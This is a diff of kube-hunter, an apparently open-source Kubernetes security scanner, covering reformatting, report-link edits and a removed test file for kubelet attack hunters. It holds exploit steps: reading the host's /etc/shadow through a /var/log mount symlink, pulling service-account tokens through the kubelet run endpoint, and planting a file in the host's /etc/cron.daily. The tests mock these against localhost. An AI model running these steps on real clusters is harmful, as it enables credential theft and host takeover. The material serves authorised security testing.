# iterating over proctitles and converting them into readable strings
proctitles = []
for proctitle in re.findall(r"proctitle=(\w+)", audit_logs.text):
proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
self.event.proctitles = proctitles
self.event.evidence = f"audit log: {proctitles}"
else:
self.event.evidence = "Could not parse system logs"
).text
logger.debug(f"Audit log of host {self.event.host}: {audit_logs[:10]}")
# iterating over proctitles and converting them into readable strings
proctitles = []
for proctitle in re.findall(r"proctitle=(\w+)", audit_logs):
proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
self.event.proctitles = proctitles
self.event.evidence = f"audit log: {proctitles}"

View File

@@ -25,14 +25,10 @@ class WriteMountToVarLog(Vulnerability, Event):
def __init__(self, pods):
Vulnerability.__init__(
self,
KubernetesCluster,
"Pod With Mount To /var/log",
category=PrivilegeEscalation,
vid="KHV047",
self, KubernetesCluster, "Pod With Mount To /var/log", category=PrivilegeEscalation, vid="KHV047",
)
self.pods = pods
self.evidence = "pods: {}".format(", ".join(pod["metadata"]["name"] for pod in self.pods))
self.evidence = "pods: {}".format(", ".join((pod["metadata"]["name"] for pod in self.pods)))
class DirectoryTraversalWithKubelet(Vulnerability, Event):
@@ -41,13 +37,10 @@ class DirectoryTraversalWithKubelet(Vulnerability, Event):
def __init__(self, output):
Vulnerability.__init__(
self,
KubernetesCluster,
"Root Traversal Read On The Kubelet",
category=PrivilegeEscalation,
self, KubernetesCluster, "Root Traversal Read On The Kubelet", category=PrivilegeEscalation,
)
self.output = output
self.evidence = f"output: {self.output}"
self.evidence = "output: {}".format(self.output)
@handler.subscribe(ExposedPodsHandler)
@@ -89,10 +82,7 @@ class ProveVarLogMount(ActiveHunter):
def run(self, command, container):
run_url = KubeletHandlers.RUN.value.format(
podNamespace=container["namespace"],
podID=container["pod"],
containerName=container["name"],
cmd=command,
podNamespace=container["namespace"], podID=container["pod"], containerName=container["name"], cmd=command,
)
return self.event.session.post(f"{self.base_path}/{run_url}", verify=False).text
@@ -101,9 +91,7 @@ class ProveVarLogMount(ActiveHunter):
config = get_config()
logger.debug("accessing /pods manually on ProveVarLogMount")
pods = self.event.session.get(
f"{self.base_path}/" + KubeletHandlers.PODS.value,
verify=False,
timeout=config.network_timeout,
f"{self.base_path}/" + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
).json()["items"]
for pod in pods:
volume = VarLogMountHunter(ExposedPodsHandler(pods=pods)).has_write_mount_to(pod, "/var/log")
@@ -129,9 +117,7 @@ class ProveVarLogMount(ActiveHunter):
path=re.sub(r"^/var/log", "", host_path) + symlink_name
)
content = self.event.session.get(
f"{self.base_path}/{path_in_logs_endpoint}",
verify=False,
timeout=config.network_timeout,
f"{self.base_path}/{path_in_logs_endpoint}", verify=False, timeout=config.network_timeout,
).text
# removing symlink
self.run(f"rm {mount_path}/{symlink_name}", container=container)
@@ -148,10 +134,7 @@ class ProveVarLogMount(ActiveHunter):
}
try:
output = self.traverse_read(
"/etc/shadow",
container=cont,
mount_path=mount_path,
host_path=volume["hostPath"]["path"],
"/etc/shadow", container=cont, mount_path=mount_path, host_path=volume["hostPath"]["path"],
)
self.publish_event(DirectoryTraversalWithKubelet(output=output))
except Exception:

View File

@@ -23,11 +23,7 @@ class KubeProxyExposed(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
KubernetesCluster,
"Proxy Exposed",
category=InformationDisclosure,
vid="KHV049",
self, KubernetesCluster, "Proxy Exposed", category=InformationDisclosure, vid="KHV049",
)
@@ -93,9 +89,7 @@ class ProveProxyExposed(ActiveHunter):
def execute(self):
config = get_config()
version_metadata = requests.get(
f"http://{self.event.host}:{self.event.port}/version",
verify=False,
timeout=config.network_timeout,
f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
).json()
if "buildDate" in version_metadata:
self.event.evidence = "build date: {}".format(version_metadata["buildDate"])
@@ -113,15 +107,11 @@ class K8sVersionDisclosureProve(ActiveHunter):
def execute(self):
config = get_config()
version_metadata = requests.get(
f"http://{self.event.host}:{self.event.port}/version",
verify=False,
timeout=config.network_timeout,
f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
).json()
if "gitVersion" in version_metadata:
self.publish_event(
K8sVersionDisclosure(
version=version_metadata["gitVersion"],
from_endpoint="/version",
extra_info="on kube-proxy",
version=version_metadata["gitVersion"], from_endpoint="/version", extra_info="on kube-proxy",
)
)

View File

@@ -28,10 +28,7 @@ class SecretsAccess(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
component=KubernetesCluster,
name="Access to pod's secrets",
category=AccessRisk,
self, component=KubernetesCluster, name="Access to pod's secrets", category=AccessRisk,
)
self.evidence = evidence

View File

@@ -7,9 +7,6 @@ from kube_hunter.modules.report.collector import (
vulnerabilities_lock,
)
BASE_KB_LINK = "https://avd.aquasec.com/"
FULL_KB_LINK = "https://avd.aquasec.com/kube-hunter/{vid}/"
class BaseReporter:
def get_nodes(self):
@@ -41,7 +38,6 @@ class BaseReporter:
"vulnerability": vuln.get_name(),
"description": vuln.explain(),
"evidence": str(vuln.evidence),
"avd_reference": FULL_KB_LINK.format(vid=vuln.get_vid().lower()),
"hunter": vuln.hunter.get_name(),
}
for vuln in vulnerabilities
@@ -67,4 +63,6 @@ class BaseReporter:
if statistics:
report["hunter_statistics"] = self.get_hunter_statistics()
report["kburl"] = "https://aquasecurity.github.io/kube-hunter/kb/{vid}"
return report

View File

@@ -12,10 +12,7 @@ class HTTPDispatcher:
dispatch_url = os.environ.get("KUBEHUNTER_HTTP_DISPATCH_URL", "https://localhost/")
try:
r = requests.request(
dispatch_method,
dispatch_url,
json=report,
headers={"Content-Type": "application/json"},
dispatch_method, dispatch_url, json=report, headers={"Content-Type": "application/json"},
)
r.raise_for_status()
logger.info(f"Report was dispatched to: {dispatch_url}")

View File

@@ -1,6 +1,6 @@
from prettytable import ALL, PrettyTable
from kube_hunter.modules.report.base import BaseReporter, BASE_KB_LINK
from kube_hunter.modules.report.base import BaseReporter
from kube_hunter.modules.report.collector import (
services,
vulnerabilities,
@@ -9,8 +9,9 @@ from kube_hunter.modules.report.collector import (
vulnerabilities_lock,
)
EVIDENCE_PREVIEW = 100
EVIDENCE_PREVIEW = 40
MAX_TABLE_WIDTH = 20
KB_LINK = "https://github.com/aquasecurity/kube-hunter/tree/master/docs/_kb"
class PlainReporter(BaseReporter):
@@ -59,7 +60,7 @@ class PlainReporter(BaseReporter):
if service.event_id not in id_memory:
nodes_table.add_row(["Node/Master", service.host])
id_memory.add(service.event_id)
nodes_ret = f"\nNodes\n{nodes_table}\n"
nodes_ret = "\nNodes\n{}\n".format(nodes_table)
services_lock.release()
return nodes_ret
@@ -113,7 +114,7 @@ class PlainReporter(BaseReporter):
return (
"\nVulnerabilities\n"
"For further information about a vulnerability, search its ID in: \n"
f"{BASE_KB_LINK}\n{vuln_table}\n"
f"{KB_LINK}\n{vuln_table}\n"
)
def hunters_table(self):

View File

@@ -1,3 +0,0 @@
from PyInstaller.utils.hooks import collect_all
datas, binaries, hiddenimports = collect_all("prettytable")

View File

@@ -2,7 +2,7 @@
flake8
pytest >= 2.9.1
requests-mock >= 1.8
requests-mock
coverage < 5.0
pytest-cov
setuptools >= 30.3.0

View File

@@ -22,8 +22,6 @@ classifiers =
Programming Language :: Python :: 3.6
Programming Language :: Python :: 3.7
Programming Language :: Python :: 3.8
Programming Language :: Python :: 3.9
Programming Language :: Python :: 3 :: Only
Topic :: Security
[options]

View File

@@ -41,8 +41,6 @@ class PyInstallerCommand(Command):
cfg.read("setup.cfg")
command = [
"pyinstaller",
"--additional-hooks-dir",
"pyinstaller_hooks",
"--clean",
"--onefile",
"--name",

View File

@@ -11,13 +11,12 @@ def test_setup_logger_level():
("NOTEXISTS", logging.INFO),
("BASIC_FORMAT", logging.INFO),
]
logFile = None
for level, expected in test_cases:
setup_logger(level, logFile)
setup_logger(level)
actual = logging.getLogger().getEffectiveLevel()
assert actual == expected, f"{level} level should be {expected} (got {actual})"
def test_setup_logger_none():
setup_logger("NONE", None)
setup_logger("NONE")
assert logging.getLogger().manager.disable == logging.CRITICAL

View File

@@ -8,7 +8,7 @@ set_config(Config())
def test_presetcloud():
"""Testing if it doesn't try to run get_cloud if the cloud type is already set.
""" Testing if it doesn't try to run get_cloud if the cloud type is already set.
get_cloud(1.2.3.4) will result with an error
"""
expcted = "AWS"

View File

@@ -28,13 +28,11 @@ from kube_hunter.modules.hunting.dashboard import KubeDashboard
from kube_hunter.modules.hunting.dns import DnsSpoofHunter
from kube_hunter.modules.hunting.etcd import EtcdRemoteAccess, EtcdRemoteAccessActive
from kube_hunter.modules.hunting.kubelet import (
ProveAnonymousAuth,
MaliciousIntentViaSecureKubeletPort,
ProveContainerLogsHandler,
ProveRunHandler,
ProveSystemLogs,
ReadOnlyKubeletPortHunter,
SecureKubeletPortHunter,
ProveRunHandler,
ProveContainerLogsHandler,
ProveSystemLogs,
)
from kube_hunter.modules.hunting.mounts import VarLogMountHunter, ProveVarLogMount
from kube_hunter.modules.hunting.proxy import KubeProxy, ProveProxyExposed, K8sVersionDisclosureProve
@@ -79,8 +77,6 @@ ACTIVE_HUNTERS = {
ProveVarLogMount,
ProveProxyExposed,
K8sVersionDisclosureProve,
ProveAnonymousAuth,
MaliciousIntentViaSecureKubeletPort,
}

View File

@@ -20,9 +20,7 @@ def test_ApiServer():
m.get("https://mockOther:443", text="elephant")
m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
m.get(
"https://mockKubernetes:443/version",
text='{"major": "1.14.10"}',
status_code=200,
"https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
)
e = Event()
@@ -46,15 +44,11 @@ def test_ApiServerWithServiceAccountToken():
counter = 0
with requests_mock.Mocker() as m:
m.get(
"https://mockKubernetes:443",
request_headers={"Authorization": "Bearer very_secret"},
text='{"code":200}',
"https://mockKubernetes:443", request_headers={"Authorization": "Bearer very_secret"}, text='{"code":200}',
)
m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
m.get(
"https://mockKubernetes:443/version",
text='{"major": "1.14.10"}',
status_code=200,
"https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
)
m.get("https://mockOther:443", text="elephant")
@@ -123,7 +117,7 @@ def test_InsecureApiServer():
# We should only generate an ApiServer event for a response that looks like it came from a Kubernetes node
@handler.subscribe(ApiServer)
class testApiServer:
class testApiServer(object):
def __init__(self, event):
print("Event")
assert event.host == "mockKubernetes"

View File

@@ -90,7 +90,7 @@ class TestDiscoveryUtils:
def test_generate_hosts_valid_ignore():
remove = IPAddress("192.168.1.8")
scan = "192.168.1.0/24"
expected = {ip for ip in IPNetwork(scan) if ip != remove}
expected = set(ip for ip in IPNetwork(scan) if ip != remove)
actual = set(HostDiscoveryHelpers.generate_hosts([scan, f"!{str(remove)}"]))

View File

@@ -1,56 +0,0 @@
# flake8: noqa: E402
import requests_mock
from kube_hunter.conf import Config, set_config
set_config(Config())
from kube_hunter.modules.hunting.kubelet import ExposedRunHandler
from kube_hunter.modules.hunting.aks import AzureSpnHunter
def test_AzureSpnHunter():
e = ExposedRunHandler()
e.host = "mockKubernetes"
e.port = 443
e.protocol = "https"
pod_template = '{{"items":[ {{"apiVersion":"v1","kind":"Pod","metadata":{{"name":"etc","namespace":"default"}},"spec":{{"containers":[{{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{{"mountPath":"/mp","name":"v"}}]}}],"volumes":[{{"hostPath":{{"path":"{}"}},"name":"v"}}]}}}} ]}}'
bad_paths = ["/", "/etc", "/etc/", "/etc/kubernetes", "/etc/kubernetes/azure.json"]
good_paths = ["/yo", "/etc/yo", "/etc/kubernetes/yo.json"]
for p in bad_paths:
with requests_mock.Mocker() as m:
m.get("https://mockKubernetes:443/pods", text=pod_template.format(p))
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c
for p in good_paths:
with requests_mock.Mocker() as m:
m.get("https://mockKubernetes:443/pods", text=pod_template.format(p))
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
with requests_mock.Mocker() as m:
pod_no_volume_mounts = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}],"volumes":[{"hostPath":{"path":"/whatever"},"name":"v"}]}} ]}'
m.get("https://mockKubernetes:443/pods", text=pod_no_volume_mounts)
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
with requests_mock.Mocker() as m:
pod_no_volumes = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}]}} ]}'
m.get("https://mockKubernetes:443/pods", text=pod_no_volumes)
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
with requests_mock.Mocker() as m:
pod_other_volume = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{"mountPath":"/mp","name":"v"}]}],"volumes":[{"emptyDir":{},"name":"v"}]}} ]}'
m.get("https://mockKubernetes:443/pods", text=pod_other_volume)
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None

View File

@@ -56,8 +56,7 @@ def test_AccessApiServer():
with requests_mock.Mocker() as m:
m.get("https://mockKubernetes:443/api", text="{}")
m.get(
"https://mockKubernetes:443/api/v1/namespaces",
text='{"items":[{"metadata":{"name":"hello"}}]}',
"https://mockKubernetes:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
)
m.get(
"https://mockKubernetes:443/api/v1/pods",
@@ -65,12 +64,10 @@ def test_AccessApiServer():
{"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
)
m.get(
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles",
status_code=403,
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
)
m.get(
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
text='{"items":[]}',
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text='{"items":[]}',
)
m.get(
"https://mockkubernetes:443/version",
@@ -94,8 +91,7 @@ def test_AccessApiServer():
# TODO check that these responses reflect what Kubernetes does
m.get("https://mocktoken:443/api", text="{}")
m.get(
"https://mocktoken:443/api/v1/namespaces",
text='{"items":[{"metadata":{"name":"hello"}}]}',
"https://mocktoken:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
)
m.get(
"https://mocktoken:443/api/v1/pods",
@@ -103,8 +99,7 @@ def test_AccessApiServer():
{"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
)
m.get(
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles",
status_code=403,
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
)
m.get(
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
@@ -122,7 +117,7 @@ def test_AccessApiServer():
@handler.subscribe(ListNamespaces)
class test_ListNamespaces:
class test_ListNamespaces(object):
def __init__(self, event):
print("ListNamespaces")
assert event.evidence == ["hello"]
@@ -135,7 +130,7 @@ class test_ListNamespaces:
@handler.subscribe(ListPodsAndNamespaces)
class test_ListPodsAndNamespaces:
class test_ListPodsAndNamespaces(object):
def __init__(self, event):
print("ListPodsAndNamespaces")
assert len(event.evidence) == 2
@@ -158,7 +153,7 @@ class test_ListPodsAndNamespaces:
# Should never see this because the API call in the test returns 403 status code
@handler.subscribe(ListRoles)
class test_ListRoles:
class test_ListRoles(object):
def __init__(self, event):
print("ListRoles")
assert 0
@@ -169,7 +164,7 @@ class test_ListRoles:
# Should only see this when we have a token because the API call returns an empty list of items
# in the test where we have no token
@handler.subscribe(ListClusterRoles)
class test_ListClusterRoles:
class test_ListClusterRoles(object):
def __init__(self, event):
print("ListClusterRoles")
assert event.auth_token == "so-secret"
@@ -178,7 +173,7 @@ class test_ListClusterRoles:
@handler.subscribe(ServerApiAccess)
class test_ServerApiAccess:
class test_ServerApiAccess(object):
def __init__(self, event):
print("ServerApiAccess")
if event.category == UnauthenticatedAccess:
@@ -191,7 +186,7 @@ class test_ServerApiAccess:
@handler.subscribe(ApiServerPassiveHunterFinished)
class test_PassiveHunterFinished:
class test_PassiveHunterFinished(object):
def __init__(self, event):
print("PassiveHunterFinished")
assert event.namespaces == ["hello"]
@@ -233,12 +228,10 @@ def test_AccessApiServerActive():
)
m.post("https://mockKubernetes:443/api/v1/clusterroles", text="{}")
m.post(
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
text="{}",
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text="{}",
)
m.post(
"https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods",
text="{}",
"https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods", text="{}",
)
m.post(
"https://mockkubernetes:443" "/apis/rbac.authorization.k8s.io/v1/namespaces/hello-namespace/roles",
@@ -276,12 +269,12 @@ def test_AccessApiServerActive():
@handler.subscribe(CreateANamespace)
class test_CreateANamespace:
class test_CreateANamespace(object):
def __init__(self, event):
assert "abcde" in event.evidence
@handler.subscribe(DeleteANamespace)
class test_DeleteANamespace:
class test_DeleteANamespace(object):
def __init__(self, event):
assert "2019-02-26" in event.evidence

View File

@@ -37,6 +37,6 @@ rceJuGsnJEQ=
@handler.subscribe(CertificateEmail)
class test_CertificateEmail:
class test_CertificateEmail(object):
def __init__(self, event):
assert event.email == b"build@nodejs.org0"

View File

@@ -41,7 +41,7 @@ def test_K8sCveHunter():
@handler.subscribe(ServerApiVersionEndPointAccessPE)
class test_CVE_2018_1002105:
class test_CVE_2018_1002105(object):
def __init__(self, event):
global cve_counter
cve_counter += 1

View File

@@ -1,721 +0,0 @@
import requests
import requests_mock
import urllib.parse
import uuid
from kube_hunter.core.events import handler
from kube_hunter.modules.hunting.kubelet import (
AnonymousAuthEnabled,
ExposedExistingPrivilegedContainersViaSecureKubeletPort,
ProveAnonymousAuth,
MaliciousIntentViaSecureKubeletPort,
)
counter = 0
pod_list_with_privileged_container = """{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "kube-hunter-privileged-deployment-86dc79f945-sjjps",
"namespace": "kube-hunter-privileged"
},
"spec": {
"containers": [
{
"name": "ubuntu",
"securityContext": {
{security_context_definition_to_test}
}
}
]
}
}
]
}
"""
service_account_token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IlR0YmxoMXh..."
env = """PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=kube-hunter-privileged-deployment-86dc79f945-sjjps
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_SERVICE_HOST=10.96.0.1
HOME=/root"""
exposed_privileged_containers = [
{
"container_name": "ubuntu",
"environment_variables": env,
"pod_id": "kube-hunter-privileged-deployment-86dc79f945-sjjps",
"pod_namespace": "kube-hunter-privileged",
"service_account_token": service_account_token,
}
]
cat_proc_cmdline = "BOOT_IMAGE=/boot/bzImage root=LABEL=Mock loglevel=3 console=ttyS0"
number_of_rm_attempts = 1
number_of_umount_attempts = 1
number_of_rmdir_attempts = 1
def create_test_event_type_one():
anonymous_auth_enabled_event = AnonymousAuthEnabled()
anonymous_auth_enabled_event.host = "localhost"
anonymous_auth_enabled_event.session = requests.Session()
return anonymous_auth_enabled_event
def create_test_event_type_two():
exposed_existing_privileged_containers_via_secure_kubelet_port_event = (
ExposedExistingPrivilegedContainersViaSecureKubeletPort(exposed_privileged_containers)
)
exposed_existing_privileged_containers_via_secure_kubelet_port_event.host = "localhost"
exposed_existing_privileged_containers_via_secure_kubelet_port_event.session = requests.Session()
return exposed_existing_privileged_containers_via_secure_kubelet_port_event
def test_get_request_valid_url():
class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/mock"
session_mock.get(url, text="mock")
return_value = class_being_tested.get_request(url)
assert return_value == "mock"
def test_get_request_invalid_url():
class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/[mock]"
session_mock.get(url, exc=requests.exceptions.InvalidURL)
return_value = class_being_tested.get_request(url)
assert return_value.startswith("Exception: ")
def post_request(url, params, expected_return_value, exception=None):
class_being_tested_one = ProveAnonymousAuth(create_test_event_type_one())
with requests_mock.Mocker(session=class_being_tested_one.event.session) as session_mock:
mock_params = {"text": "mock"} if not exception else {"exc": exception}
session_mock.post(url, **mock_params)
return_value = class_being_tested_one.post_request(url, params)
assert return_value == expected_return_value
class_being_tested_two = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two())
with requests_mock.Mocker(session=class_being_tested_two.event.session) as session_mock:
mock_params = {"text": "mock"} if not exception else {"exc": exception}
session_mock.post(url, **mock_params)
return_value = class_being_tested_two.post_request(url, params)
assert return_value == expected_return_value
def test_post_request_valid_url_with_parameters():
url = "https://localhost:10250/mock?cmd=ls"
params = {"cmd": "ls"}
post_request(url, params, expected_return_value="mock")
def test_post_request_valid_url_without_parameters():
url = "https://localhost:10250/mock"
params = {}
post_request(url, params, expected_return_value="mock")
def test_post_request_invalid_url_with_parameters():
url = "https://localhost:10250/mock?cmd=ls"
params = {"cmd": "ls"}
post_request(url, params, expected_return_value="Exception: ", exception=requests.exceptions.InvalidURL)
def test_post_request_invalid_url_without_parameters():
url = "https://localhost:10250/mock"
params = {}
post_request(url, params, expected_return_value="Exception: ", exception=requests.exceptions.InvalidURL)
def test_has_no_exception_result_with_exception():
mock_result = "Exception: Mock."
return_value = ProveAnonymousAuth.has_no_exception(mock_result)
assert return_value is False
def test_has_no_exception_result_without_exception():
mock_result = "Mock."
return_value = ProveAnonymousAuth.has_no_exception(mock_result)
assert return_value is True
def test_has_no_error_result_with_error():
mock_result = "Mock exited with error."
return_value = ProveAnonymousAuth.has_no_error(mock_result)
assert return_value is False
def test_has_no_error_result_without_error():
mock_result = "Mock."
return_value = ProveAnonymousAuth.has_no_error(mock_result)
assert return_value is True
def test_has_no_error_nor_exception_result_without_exception_and_without_error():
mock_result = "Mock."
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
assert return_value is True
def test_has_no_error_nor_exception_result_with_exception_and_without_error():
mock_result = "Exception: Mock."
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
assert return_value is False
def test_has_no_error_nor_exception_result_without_exception_and_with_error():
mock_result = "Mock exited with error."
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
assert return_value is False
def test_has_no_error_nor_exception_result_with_exception_and_with_error():
mock_result = "Exception: Mock. Mock exited with error."
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
assert return_value is False
def proveanonymousauth_success(anonymous_auth_enabled_event, security_context_definition_to_test):
global counter
counter = 0
with requests_mock.Mocker(session=anonymous_auth_enabled_event.session) as session_mock:
url = "https://" + anonymous_auth_enabled_event.host + ":10250/"
listing_pods_url = url + "pods"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.get(
listing_pods_url,
text=pod_list_with_privileged_container.replace(
"{security_context_definition_to_test}", security_context_definition_to_test
),
)
session_mock.post(
run_url + urllib.parse.quote("cat /var/run/secrets/kubernetes.io/serviceaccount/token", safe=""),
text=service_account_token,
)
session_mock.post(run_url + "env", text=env)
class_being_tested = ProveAnonymousAuth(anonymous_auth_enabled_event)
class_being_tested.execute()
assert "The following containers have been successfully breached." in class_being_tested.event.evidence
assert counter == 1
def test_proveanonymousauth_success_with_privileged_container_via_privileged_setting():
proveanonymousauth_success(create_test_event_type_one(), '"privileged": true')
def test_proveanonymousauth_success_with_privileged_container_via_capabilities():
proveanonymousauth_success(create_test_event_type_one(), '"capabilities": { "add": ["SYS_ADMIN"] }')
def test_proveanonymousauth_connectivity_issues():
class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://" + class_being_tested.event.host + ":10250/"
listing_pods_url = url + "pods"
session_mock.get(listing_pods_url, exc=requests.exceptions.ConnectionError)
class_being_tested.execute()
assert class_being_tested.event.evidence == ""
@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
class ExposedPrivilegedContainersViaAnonymousAuthEnabledInSecureKubeletPortEventCounter:
def __init__(self, event):
global counter
counter += 1
def test_check_file_exists_existing_file():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote("ls mock.txt", safe=""), text="mock.txt")
return_value = class_being_tested.check_file_exists(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "mock.txt"
)
assert return_value is True
def test_check_file_exists_non_existent_file():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(
run_url + urllib.parse.quote("ls nonexistentmock.txt", safe=""),
text="ls: nonexistentmock.txt: No such file or directory",
)
return_value = class_being_tested.check_file_exists(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
"nonexistentmock.txt",
)
assert return_value is False
rm_command_removed_successfully_callback_counter = 0
def rm_command_removed_successfully_callback(request, context):
global rm_command_removed_successfully_callback_counter
if rm_command_removed_successfully_callback_counter == 0:
rm_command_removed_successfully_callback_counter += 1
return "mock.txt"
else:
return "ls: mock.txt: No such file or directory"
def test_rm_command_removed_successfully():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(
run_url + urllib.parse.quote("ls mock.txt", safe=""), text=rm_command_removed_successfully_callback
)
session_mock.post(run_url + urllib.parse.quote("rm -f mock.txt", safe=""), text="")
return_value = class_being_tested.rm_command(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
"mock.txt",
number_of_rm_attempts=1,
seconds_to_wait_for_os_command=None,
)
assert return_value is True
def test_rm_command_removed_failed():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote("ls mock.txt", safe=""), text="mock.txt")
session_mock.post(run_url + urllib.parse.quote("rm -f mock.txt", safe=""), text="Permission denied")
return_value = class_being_tested.rm_command(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
"mock.txt",
number_of_rm_attempts=1,
seconds_to_wait_for_os_command=None,
)
assert return_value is False
def test_attack_exposed_existing_privileged_container_success():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
)
return_value = class_being_tested.attack_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
directory_created,
number_of_rm_attempts,
None,
file_name,
)
assert return_value["result"] is True
def test_attack_exposed_existing_privileged_container_failure_when_touch():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(
run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""),
text="Operation not permitted",
)
return_value = class_being_tested.attack_exposed_existing_privileged_container(
